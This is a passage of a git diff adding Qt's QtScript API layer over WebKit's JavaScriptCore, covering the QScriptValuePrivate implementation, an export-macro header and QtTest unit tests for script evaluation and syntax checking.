+    inline QScriptValuePrivate(const QScriptEngine* engine, bool value);
+    inline QScriptValuePrivate(const QScriptEngine* engine, int value);
+    inline QScriptValuePrivate(const QScriptEngine* engine, uint value);
+    inline QScriptValuePrivate(const QScriptEngine* engine, qsreal value);
+    inline QScriptValuePrivate(const QScriptEngine* engine, const QString& value);
+    inline QScriptValuePrivate(const QScriptEngine* engine, QScriptValue::SpecialValue value);
+
+    inline QScriptValuePrivate(const QScriptEnginePrivate* engine, JSValueRef value);
+    inline QScriptValuePrivate(const QScriptEnginePrivate* engine, JSValueRef value, JSObjectRef object);
+
+    inline bool isValid() const;
+    inline bool isBool();
+    inline bool isNumber();
+    inline bool isNull();
+    inline bool isString();
+    inline bool isUndefined();
+    inline bool isError();
+    inline bool isObject();
+    inline bool isFunction();
+
+    inline QString toString() const;
+    inline qsreal toNumber() const;
+    inline bool toBool() const;
+    inline qsreal toInteger() const;
+    inline qint32 toInt32() const;
+    inline quint32 toUInt32() const;
+    inline quint16 toUInt16() const;
+
+    inline bool equals(QScriptValuePrivate* other);
+    inline bool strictlyEquals(const QScriptValuePrivate* other) const;
+    inline bool assignEngine(QScriptEnginePrivate* engine);
+
+    inline QScriptValuePrivate* call(const QScriptValuePrivate* , const QScriptValueList& args);
+
+    inline JSGlobalContextRef context() const;
+    inline JSValueRef value() const;
+    inline JSObjectRef object() const;
+    inline QScriptEnginePrivate* engine() const;
+
+private:
+    // Please, update class documentation when you change the enum.
+    enum State {
+        Invalid = 0,
+        CString = 0x1000,
+        CNumber,
+        CBool,
+        CSpecial,
+        JSValue = 0x2000, // JS values are equal or higher then this value.
+        JSPrimitive,
+        JSObject
+    } m_state;
+    QScriptEnginePtr m_engine;
+    QString m_string;
+    qsreal m_number;
+    JSValueRef m_value;
+    JSObjectRef m_object;
+
+    inline void setValue(JSValueRef);
+
+    inline bool inherits(const char*);
+    inline State refinedJSValue();
+
+    inline bool isJSBased() const;
+    inline bool isNumberBased() const;
+    inline bool isStringBased() const;
+};
+
+QScriptValuePrivate* QScriptValuePrivate::get(const QScriptValue& q) { return q.d_ptr.data(); }
+
+QScriptValue QScriptValuePrivate::get(const QScriptValuePrivate* d)
+{
+    return QScriptValue(const_cast<QScriptValuePrivate*>(d));
+}
+
+QScriptValue QScriptValuePrivate::get(QScriptValuePrivate* d)
+{
+    return QScriptValue(d);
+}
+
+QScriptValuePrivate::~QScriptValuePrivate()
+{
+    if (m_value)
+        JSValueUnprotect(context(), m_value);
+}
+
+QScriptValuePrivate::QScriptValuePrivate()
+    : m_state(Invalid)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QString& string)
+    : m_state(CString)
+    , m_string(string)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(bool value)
+    : m_state(CBool)
+    , m_number(value)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(int number)
+    : m_state(CNumber)
+    , m_number(number)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(uint number)
+    : m_state(CNumber)
+    , m_number(number)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(qsreal number)
+    : m_state(CNumber)
+    , m_number(number)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(QScriptValue::SpecialValue value)
+    : m_state(CSpecial)
+    , m_number(value)
+    , m_value(0)
+{
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, bool value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CBool;
+        m_number = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, int value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CNumber;
+        m_number = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, uint value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CNumber;
+        m_number = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, qsreal value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CNumber;
+        m_number = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, const QString& value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CString;
+        m_string = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEngine* engine, QScriptValue::SpecialValue value)
+    : m_state(JSPrimitive)
+{
+    if (!engine) {
+        // slower path reinitialization
+        m_state = CSpecial;
+        m_number = value;
+        m_value = 0;
+    } else {
+        m_engine = QScriptEnginePrivate::get(engine);
+        m_value = m_engine->makeJSValue(value);
+        JSValueProtect(context(), m_value);
+    }
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEnginePrivate* engine, JSValueRef value)
+    : m_state(JSValue)
+    , m_engine(const_cast<QScriptEnginePrivate*>(engine))
+    , m_value(value)
+{
+    Q_ASSERT(engine);
+    JSValueProtect(context(), m_value);
+}
+
+QScriptValuePrivate::QScriptValuePrivate(const QScriptEnginePrivate* engine, JSValueRef value, JSObjectRef object)
+    : m_state(JSObject)
+    , m_engine(const_cast<QScriptEnginePrivate*>(engine))
+    , m_value(value)
+    , m_object(object)
+{
+    Q_ASSERT(engine);
+    JSValueProtect(context(), m_value);
+}
+
+bool QScriptValuePrivate::isValid() const { return m_state != Invalid; }
+
+bool QScriptValuePrivate::isBool()
+{
+    switch (m_state) {
+    case CBool:
+        return true;
+    case JSValue:
+        if (refinedJSValue() != JSPrimitive)
+            return false;
+        // Fall-through.
+    case JSPrimitive:
+        return JSValueIsBoolean(context(), value());
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isNumber()
+{
+    switch (m_state) {
+    case CNumber:
+        return true;
+    case JSValue:
+        if (refinedJSValue() != JSPrimitive)
+            return false;
+        // Fall-through.
+    case JSPrimitive:
+        return JSValueIsNumber(context(), value());
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isNull()
+{
+    switch (m_state) {
+    case CSpecial:
+        return m_number == static_cast<int>(QScriptValue::NullValue);
+    case JSValue:
+        if (refinedJSValue() != JSPrimitive)
+            return false;
+        // Fall-through.
+    case JSPrimitive:
+        return JSValueIsNull(context(), value());
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isString()
+{
+    switch (m_state) {
+    case CString:
+        return true;
+    case JSValue:
+        if (refinedJSValue() != JSPrimitive)
+            return false;
+        // Fall-through.
+    case JSPrimitive:
+        return JSValueIsString(context(), value());
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isUndefined()
+{
+    switch (m_state) {
+    case CSpecial:
+        return m_number == static_cast<int>(QScriptValue::UndefinedValue);
+    case JSValue:
+        if (refinedJSValue() != JSPrimitive)
+            return false;
+        // Fall-through.
+    case JSPrimitive:
+        return JSValueIsUndefined(context(), value());
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isError()
+{
+    switch (m_state) {
+    case JSValue:
+        if (refinedJSValue() != JSObject)
+            return false;
+        // Fall-through.
+    case JSObject:
+        return inherits("Error");
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isObject()
+{
+    switch (m_state) {
+    case JSValue:
+        return refinedJSValue() == JSObject;
+    case JSObject:
+        return true;
+
+    default:
+        return false;
+    }
+}
+
+bool QScriptValuePrivate::isFunction()
+{
+    switch (m_state) {
+    case JSValue:
+        if (refinedJSValue() != JSObject)
+            return false;
+        // Fall-through.
+    case JSObject:
+        return JSObjectIsFunction(context(), object());
+    default:
+        return false;
+    }
+}
+
+QString QScriptValuePrivate::toString() const
+{
+    switch (m_state) {
+    case Invalid:
+        return QString();
+    case CBool:
+        return m_number ? QString::fromLatin1("true") : QString::fromLatin1("false");
+    case CString:
+        return m_string;
+    case CNumber:
+        return QScriptConverter::toString(m_number);
+    case CSpecial:
+        return m_number == QScriptValue::NullValue ? QString::fromLatin1("null") : QString::fromLatin1("undefined");
+    case JSValue:
+    case JSPrimitive:
+    case JSObject:
+        return QScriptConverter::toString(JSValueToStringCopy(context(), value(), /* exception */ 0));
+    }
+
+    Q_ASSERT_X(false, "toString()", "Not all states are included in the previous switch statement.");
+    return QString(); // Avoid compiler warning.
+}
+
+qsreal QScriptValuePrivate::toNumber() const
+{
+    switch (m_state) {
+    case JSValue:
+    case JSPrimitive:
+    case JSObject:
+        return JSValueToNumber(context(), value(), /* exception */ 0);
+    case CNumber:
+        return m_number;
+    case CBool:
+        return m_number ? 1 : 0;
+    case Invalid:
+        return 0;
+    case CSpecial:
+        return m_number == QScriptValue::NullValue ? 0 : qQNaN();
+    case CString:
+        bool ok;
+        qsreal result = m_string.toDouble(&ok);
+        if (ok)
+            return result;
+        result = m_string.toInt(&ok, 0); // Try other bases.
+        if (ok)
+            return result;
+        if (m_string == "Infinity" || m_string == "-Infinity")
+            return qInf();
+        return m_string.length() ? qQNaN() : 0;
+    }
+
+    Q_ASSERT_X(false, "toNumber()", "Not all states are included in the previous switch statement.");
+    return 0; // Avoid compiler warning.
+}
+
+bool QScriptValuePrivate::toBool() const
+{
+    switch (m_state) {
+    case JSValue:
+    case JSPrimitive:
+        return JSValueToBoolean(context(), value());
+    case JSObject:
+        return true;
+    case CNumber:
+        return !(qIsNaN(m_number) || !m_number);
+    case CBool:
+        return m_number;
+    case Invalid:
+    case CSpecial:
+        return false;
+    case CString:
+        return m_string.length();
+    }
+
+    Q_ASSERT_X(false, "toBool()", "Not all states are included in the previous switch statement.");
+    return false; // Avoid compiler warning.
+}
+
+qsreal QScriptValuePrivate::toInteger() const
+{
+    qsreal result = toNumber();
+    if (qIsNaN(result))
+        return 0;
+    if (qIsInf(result))
+        return result;
+    return (result > 0) ? qFloor(result) : -1 * qFloor(-result);
+}
+
+qint32 QScriptValuePrivate::toInt32() const
+{
+    qsreal result = toInteger();
+    // Orginaly it should look like that (result == 0 || qIsInf(result) || qIsNaN(result)), but
+    // some of these operation are invoked in toInteger subcall.
+    if (qIsInf(result))
+        return 0;
+    return result;
+}
+
+quint32 QScriptValuePrivate::toUInt32() const
+{
+    qsreal result = toInteger();
+    // Orginaly it should look like that (result == 0 || qIsInf(result) || qIsNaN(result)), but
+    // some of these operation are invoked in toInteger subcall.
+    if (qIsInf(result))
+        return 0;
+    return result;
+}
+
+quint16 QScriptValuePrivate::toUInt16() const
+{
+    return toInt32();
+}
+
+
+bool QScriptValuePrivate::equals(QScriptValuePrivate* other)
+{
+    if (!isValid() || !other->isValid())
+        return false;
+
+    if ((m_state == other->m_state) && !isJSBased()) {
+        if (isNumberBased())
+            return m_number == other->m_number;
+        return m_string == other->m_string;
+    }
+
+    if (isJSBased() && !other->isJSBased()) {
+        if (!other->assignEngine(engine())) {
+            qWarning("equals(): Cannot compare to a value created in a different engine");
+            return false;
+        }
+    } else if (!isJSBased() && other->isJSBased()) {
+        if (!other->assignEngine(other->engine())) {
+            qWarning("equals(): Cannot compare to a value created in a different engine");
+            return false;
+        }
+    }
+
+    return JSValueIsEqual(context(), value(), other->value(), /* exception */ 0);
+}
+
+bool QScriptValuePrivate::strictlyEquals(const QScriptValuePrivate* other) const
+{
+    if (m_state != other->m_state)
+        return false;
+    if (isJSBased()) {
+        if (other->engine() != engine()) {
+            qWarning("strictlyEquals(): Cannot compare to a value created in a different engine");
+            return false;
+        }
+        return JSValueIsStrictEqual(context(), value(), other->value());
+    }
+    if (isStringBased())
+        return m_string == other->m_string;
+    if (isNumberBased())
+        return m_number == other->m_number;
+
+    return false; // Invalid state.
+}
+
+/*!
+  Tries to assign \a engine to this value. Returns true on success; otherwise returns false.
+*/
+bool QScriptValuePrivate::assignEngine(QScriptEnginePrivate* engine)
+{
+    JSValueRef value;
+    switch (m_state) {
+    case CBool:
+        value = engine->makeJSValue(static_cast<bool>(m_number));
+        break;
+    case CString:
+        value = engine->makeJSValue(m_string);
+        break;
+    case CNumber:
+        value = engine->makeJSValue(m_number);
+        break;
+    case CSpecial:
+        value = engine->makeJSValue(static_cast<QScriptValue::SpecialValue>(m_number));
+        break;
+    default:
+        if (!isJSBased())
+            Q_ASSERT_X(!isJSBased(), "assignEngine()", "Not all states are included in the previous switch statement.");
+        else
+            qWarning("JSValue can't be rassigned to an another engine.");
+        return false;
+    }
+    m_engine = engine;
+    m_state = JSPrimitive;
+    setValue(value);
+    return true;
+}
+
+QScriptValuePrivate* QScriptValuePrivate::call(const QScriptValuePrivate*, const QScriptValueList& args)
+{
+    switch (m_state) {
+    case JSValue:
+        if (refinedJSValue() != JSObject)
+            return new QScriptValuePrivate;
+        // Fall-through.
+    case JSObject:
+        {
+            // Convert all arguments and bind to the engine.
+            int argc = args.size();
+            QVarLengthArray<JSValueRef, 8> argv(argc);
+            QScriptValueList::const_iterator i = args.constBegin();
+            for (int j = 0; i != args.constEnd(); j++, i++) {
+                QScriptValuePrivate* value = QScriptValuePrivate::get(*i);
+                if (!value->assignEngine(engine())) {
+                    qWarning("QScriptValue::call() failed: cannot call function with values created in a different engine");
+                    return new QScriptValuePrivate;
+                }
+                argv[j] = value->value();
+            }
+
+            // Make the call
+            JSValueRef exception = 0;
+            JSValueRef result = JSObjectCallAsFunction(context(), object(), /* thisObject */ 0, argc, argv.constData(), &exception);
+            if (!result && exception)
+                return new QScriptValuePrivate(engine(), exception);
+            if (result && !exception)
+                return new QScriptValuePrivate(engine(), result);
+        }
+        // this QSV is not a function <-- !result && !exception. Fall-through.
+    default:
+        return new QScriptValuePrivate;
+    }
+}
+
+QScriptEnginePrivate* QScriptValuePrivate::engine() const
+{
+    // As long as m_engine is an autoinitializated pointer we can safely return it without
+    // checking current state.
+    return m_engine.data();
+}
+
+JSGlobalContextRef QScriptValuePrivate::context() const
+{
+    Q_ASSERT(isJSBased());
+    return m_engine->context();
+}
+
+JSValueRef QScriptValuePrivate::value() const
+{
+    Q_ASSERT(isJSBased());
+    return m_value;
+}
+
+JSObjectRef QScriptValuePrivate::object() const
+{
+    Q_ASSERT(m_state == JSObject);
+    return m_object;
+}
+
+void QScriptValuePrivate::setValue(JSValueRef value)
+{
+    if (m_value)
+        JSValueUnprotect(context(), m_value);
+    if (value)
+        JSValueProtect(context(), value);
+    m_value = value;
+}
+
+/*!
+  \internal
+  Returns true if QSV is created from constructor with the given \a name, it has to be a
+  built-in type.
+*/
+bool QScriptValuePrivate::inherits(const char* name)
+{
+    Q_ASSERT(isJSBased());
+    JSObjectRef globalObject = JSContextGetGlobalObject(context());
+    JSValueRef error = JSObjectGetProperty(context(), globalObject, QScriptConverter::toString(name), 0);
+    return JSValueIsInstanceOfConstructor(context(), value(), JSValueToObject(context(), error, /* exception */ 0), /* exception */ 0);
+}
+
+/*!
+  \internal
+  Refines the state of this QScriptValuePrivate. Returns the new state.
+*/
+QScriptValuePrivate::State QScriptValuePrivate::refinedJSValue()
+{
+    Q_ASSERT(m_state == JSValue);
+    if (!JSValueIsObject(context(), value())) {
+        m_state = JSPrimitive;
+    } else {
+        m_state = JSObject;
+        // We are sure that value is an JSObject, so we can const_cast safely without
+        // calling JSC C API (JSValueToObject(context(), value(), /* exceptions */ 0)).
+        m_object = const_cast<JSObjectRef>(m_value);
+    }
+    return m_state;
+}
+
+/*!
+  \internal
+  Returns true if QSV have an engine associated.
+*/
+bool QScriptValuePrivate::isJSBased() const { return m_state >= JSValue; }
+
+/*!
+  \internal
+  Returns true if current value of QSV is placed in m_number.
+*/
+bool QScriptValuePrivate::isNumberBased() const { return !isJSBased() && !isStringBased() && m_state != Invalid; }
+
+/*!
+  \internal
+  Returns true if current value of QSV is placed in m_string.
+*/
+bool QScriptValuePrivate::isStringBased() const { return m_state == CString; }
+
+#endif // qscriptvalue_p_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/api/qtscriptglobal.h b/src/3rdparty/webkit/JavaScriptCore/qt/api/qtscriptglobal.h
new file mode 100644
index 0000000..29749c0
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/api/qtscriptglobal.h
@@ -0,0 +1,44 @@
+/*
+    Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef qtscriptglobal_h
+#define qtscriptglobal_h
+
+#include <QtCore/qglobal.h>
+
+#if defined(Q_OS_WIN) || defined(Q_OS_SYMBIAN)
+#  if defined(QT_NODLL)
+#  elif defined(QT_MAKEDLL)        /* create a Qt DLL library */
+#    if defined(QT_BUILD_JAVASCRIPT_LIB)
+#      define Q_JAVASCRIPT_EXPORT Q_DECL_EXPORT
+#    else
+#      define Q_JAVASCRIPT_EXPORT Q_DECL_IMPORT
+#    endif
+#  elif defined(QT_DLL) /* use a Qt DLL library */
+#    define Q_JAVASCRIPT_EXPORT
+#  endif
+#endif
+
+#if defined(QT_SHARED)
+#  define Q_JAVASCRIPT_EXPORT Q_DECL_EXPORT
+#else
+#  define Q_JAVASCRIPT_EXPORT
+#endif
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/qscriptengine.pro b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/qscriptengine.pro
new file mode 100644
index 0000000..d521dd8
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/qscriptengine.pro
@@ -0,0 +1,8 @@
+TEMPLATE = app
+TARGET = tst_qscriptengine
+QT += testlib
+isEmpty(OUTPUT_DIR): OUTPUT_DIR = ../../../..
+include(../tests.pri)
+
+SOURCES += tst_qscriptengine.cpp
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/tst_qscriptengine.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/tst_qscriptengine.cpp
new file mode 100644
index 0000000..2632796
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptengine/tst_qscriptengine.cpp
@@ -0,0 +1,275 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "qscriptengine.h"
+#include "qscriptprogram.h"
+#include "qscriptsyntaxcheckresult.h"
+#include "qscriptvalue.h"
+#include <QtTest/qtest.h>
+
+class tst_QScriptEngine : public QObject {
+    Q_OBJECT
+
+public:
+    tst_QScriptEngine() {}
+    virtual ~tst_QScriptEngine() {}
+
+public slots:
+    void init() {}
+    void cleanup() {}
+
+private slots:
+    void evaluate();
+    void collectGarbage();
+    void nullValue();
+    void undefinedValue();
+    void evaluateProgram();
+    void checkSyntax_data();
+    void checkSyntax();
+};
+
+/* Evaluating a script that throw an unhandled exception should return an invalid value. */
+void tst_QScriptEngine::evaluate()
+{
+    QScriptEngine engine;
+    QVERIFY2(engine.evaluate("1+1").isValid(), "the expression should be evaluated and an valid result should be returned");
+    QVERIFY2(engine.evaluate("ping").isValid(), "Script throwing an unhandled exception should return an exception value");
+}
+
+/* Test garbage collection, at least try to not crash. */
+void tst_QScriptEngine::collectGarbage()
+{
+    QScriptEngine engine;
+    QScriptValue foo = engine.evaluate("( function foo() {return 'pong';} )");
+    QVERIFY(foo.isFunction());
+    engine.collectGarbage();
+    QCOMPARE(foo.call().toString(), QString::fromAscii("pong"));
+}
+
+void tst_QScriptEngine::nullValue()
+{
+    QScriptEngine engine;
+    QScriptValue value = engine.nullValue();
+    QVERIFY(value.isValid());
+    QVERIFY(value.isNull());
+}
+
+void tst_QScriptEngine::undefinedValue()
+{
+    QScriptEngine engine;
+    QScriptValue value = engine.undefinedValue();
+    QVERIFY(value.isValid());
+    QVERIFY(value.isUndefined());
+}
+
+void tst_QScriptEngine::evaluateProgram()
+{
+    QScriptEngine eng;
+    {
+        QString code("1 + 2");
+        QString fileName("hello.js");
+        int lineNumber = 123;
+        QScriptProgram program(code, fileName, lineNumber);
+        QVERIFY(!program.isNull());
+        QCOMPARE(program.sourceCode(), code);
+        QCOMPARE(program.fileName(), fileName);
+        QCOMPARE(program.firstLineNumber(), lineNumber);
+
+        QScriptValue expected = eng.evaluate(code);
+        for (int x = 0; x < 10; ++x) {
+            QScriptValue ret = eng.evaluate(program);
+            QVERIFY(ret.equals(expected));
+        }
+
+        // operator=
+        QScriptProgram sameProgram = program;
+        QVERIFY(sameProgram == program);
+        QVERIFY(eng.evaluate(sameProgram).equals(expected));
+
+        // copy constructor
+        QScriptProgram sameProgram2(program);
+        QVERIFY(sameProgram2 == program);
+        QVERIFY(eng.evaluate(sameProgram2).equals(expected));
+
+        QScriptProgram differentProgram("2 + 3");
+        QVERIFY(differentProgram != program);
+        QVERIFY(!eng.evaluate(differentProgram).equals(expected));
+    }
+
+    // Program that accesses variable in the scope
+    {
+        QScriptProgram program("a");
+        QVERIFY(!program.isNull());
+        {
+            QScriptValue ret = eng.evaluate(program);
+            QVERIFY(ret.isError());
+            QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: a"));
+        }
+        {
+            QScriptValue ret = eng.evaluate(program);
+            QVERIFY(ret.isError());
+        }
+        eng.evaluate("a = 456");
+        {
+            QScriptValue ret = eng.evaluate(program);
+            QVERIFY(!ret.isError());
+            QCOMPARE(ret.toNumber(), 456.0);
+        }
+    }
+
+    // Program that creates closure
+    {
+        QScriptProgram program("(function() { var count = 0; return function() { return count++; }; })");
+        QVERIFY(!program.isNull());
+        QScriptValue createCounter = eng.evaluate(program);
+        QVERIFY(createCounter.isFunction());
+        QScriptValue counter = createCounter.call();
+        QVERIFY(counter.isFunction());
+        {
+            QScriptValue ret = counter.call();
+            QVERIFY(ret.isNumber());
+        }
+        QScriptValue counter2 = createCounter.call();
+        QVERIFY(counter2.isFunction());
+        QVERIFY(!counter2.equals(counter));
+        {
+            QScriptValue ret = counter2.call();
+            QVERIFY(ret.isNumber());
+        }
+    }
+
+    // Same program run in different engines
+    {
+        QString code("1 + 2");
+        QScriptProgram program(code);
+        QVERIFY(!program.isNull());
+        double expected = eng.evaluate(program).toNumber();
+        for (int x = 0; x < 2; ++x) {
+            QScriptEngine eng2;
+            for (int y = 0; y < 2; ++y) {
+                double ret = eng2.evaluate(program).toNumber();
+                QCOMPARE(ret, expected);
+            }
+        }
+    }
+
+    // No program
+    {
+        QScriptProgram program;
+        QVERIFY(program.isNull());
+        QScriptValue ret = eng.evaluate(program);
+        QVERIFY(!ret.isValid());
+    }
+}
+
+void tst_QScriptEngine::checkSyntax_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<int>("expectedState");
+    QTest::addColumn<int>("errorLineNumber");
+    QTest::addColumn<int>("errorColumnNumber");
+    QTest::addColumn<QString>("errorMessage");
+
+    QTest::newRow("0")
+        << QString("0") << int(QScriptSyntaxCheckResult::Valid)
+        << -1 << -1 << "";
+    QTest::newRow("if (")
+        << QString("if (\n") << int(QScriptSyntaxCheckResult::Intermediate)
+        << 1 << 4 << "";
+    QTest::newRow("if else")
+        << QString("\nif else") << int(QScriptSyntaxCheckResult::Error)
+        << 2 << 4 << "SyntaxError: Parse error";
+    QTest::newRow("{if}")
+            << QString("{\n{\nif\n}\n") << int(QScriptSyntaxCheckResult::Error)
+        << 4 << 1 << "SyntaxError: Parse error";
+    QTest::newRow("foo[")
+        << QString("foo[") << int(QScriptSyntaxCheckResult::Error)
+        << 1 << 4 << "SyntaxError: Parse error";
+    QTest::newRow("foo['bar']")
+        << QString("foo['bar']") << int(QScriptSyntaxCheckResult::Valid)
+        << -1 << -1 << "";
+
+    QTest::newRow("/*")
+        << QString("/*") << int(QScriptSyntaxCheckResult::Intermediate)
+        << 1 << 1 << "Unclosed comment at end of file";
+    QTest::newRow("/*\nMy comment")
+        << QString("/*\nMy comment") << int(QScriptSyntaxCheckResult::Intermediate)
+        << 1 << 1 << "Unclosed comment at end of file";
+    QTest::newRow("/*\nMy comment */\nfoo = 10")
+        << QString("/*\nMy comment */\nfoo = 10") << int(QScriptSyntaxCheckResult::Valid)
+        << -1 << -1 << "";
+    QTest::newRow("foo = 10 /*")
+        << QString("foo = 10 /*") << int(QScriptSyntaxCheckResult::Intermediate)
+        << -1 << -1 << "";
+    QTest::newRow("foo = 10; /*")
+        << QString("foo = 10; /*") << int(QScriptSyntaxCheckResult::Intermediate)
+        << 1 << 11 << "Expected `end of file'";
+    QTest::newRow("foo = 10 /* My comment */")
+        << QString("foo = 10 /* My comment */") << int(QScriptSyntaxCheckResult::Valid)
+        << -1 << -1 << "";
+
+    QTest::newRow("/=/")
+        << QString("/=/") << int(QScriptSyntaxCheckResult::Valid) << -1 << -1 << "";
+    QTest::newRow("/=/g")
+        << QString("/=/g") << int(QScriptSyntaxCheckResult::Valid) << -1 << -1 << "";
+    QTest::newRow("/a/")
+        << QString("/a/") << int(QScriptSyntaxCheckResult::Valid) << -1 << -1 << "";
+    QTest::newRow("/a/g")
+        << QString("/a/g") << int(QScriptSyntaxCheckResult::Valid) << -1 << -1 << "";
+}
+
+void tst_QScriptEngine::checkSyntax()
+{
+    QFETCH(QString, code);
+    QFETCH(int, expectedState);
+    QFETCH(int, errorLineNumber);
+    QFETCH(int, errorColumnNumber);
+    QFETCH(QString, errorMessage);
+
+    QScriptSyntaxCheckResult result = QScriptEngine::checkSyntax(code);
+
+    // assignment
+    {
+        QScriptSyntaxCheckResult copy = result;
+        QCOMPARE(copy.state(), result.state());
+        QCOMPARE(copy.errorLineNumber(), result.errorLineNumber());
+        QCOMPARE(copy.errorColumnNumber(), result.errorColumnNumber());
+        QCOMPARE(copy.errorMessage(), result.errorMessage());
+    }
+    {
+        QScriptSyntaxCheckResult copy(result);
+        QCOMPARE(copy.state(), result.state());
+        QCOMPARE(copy.errorLineNumber(), result.errorLineNumber());
+        QCOMPARE(copy.errorColumnNumber(), result.errorColumnNumber());
+        QCOMPARE(copy.errorMessage(), result.errorMessage());
+    }
+
+    if (expectedState == QScriptSyntaxCheckResult::Intermediate)
+        QEXPECT_FAIL("", "QScriptSyntaxCheckResult::state() doesn't return the Intermediate state", Abort);
+    QCOMPARE(result.state(), QScriptSyntaxCheckResult::State(expectedState));
+    QCOMPARE(result.errorLineNumber(), errorLineNumber);
+    if (expectedState != QScriptSyntaxCheckResult::Valid && errorColumnNumber != 1)
+            QEXPECT_FAIL("", "QScriptSyntaxCheckResult::errorColumnNumber() doesn't return correct value", Continue);
+    QCOMPARE(result.errorColumnNumber(), errorColumnNumber);
+    QCOMPARE(result.errorMessage(), errorMessage);
+}
+
+
+QTEST_MAIN(tst_QScriptEngine)
+#include "tst_qscriptengine.moc"
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/qscriptstring.pro b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/qscriptstring.pro
new file mode 100644
index 0000000..5ad9b7c
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/qscriptstring.pro
@@ -0,0 +1,7 @@
+TEMPLATE = app
+TARGET = tst_qscriptstring
+QT += testlib
+include(../tests.pri)
+
+SOURCES += tst_qscriptstring.cpp
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/tst_qscriptstring.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/tst_qscriptstring.cpp
new file mode 100644
index 0000000..ff31835
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptstring/tst_qscriptstring.cpp
@@ -0,0 +1,175 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
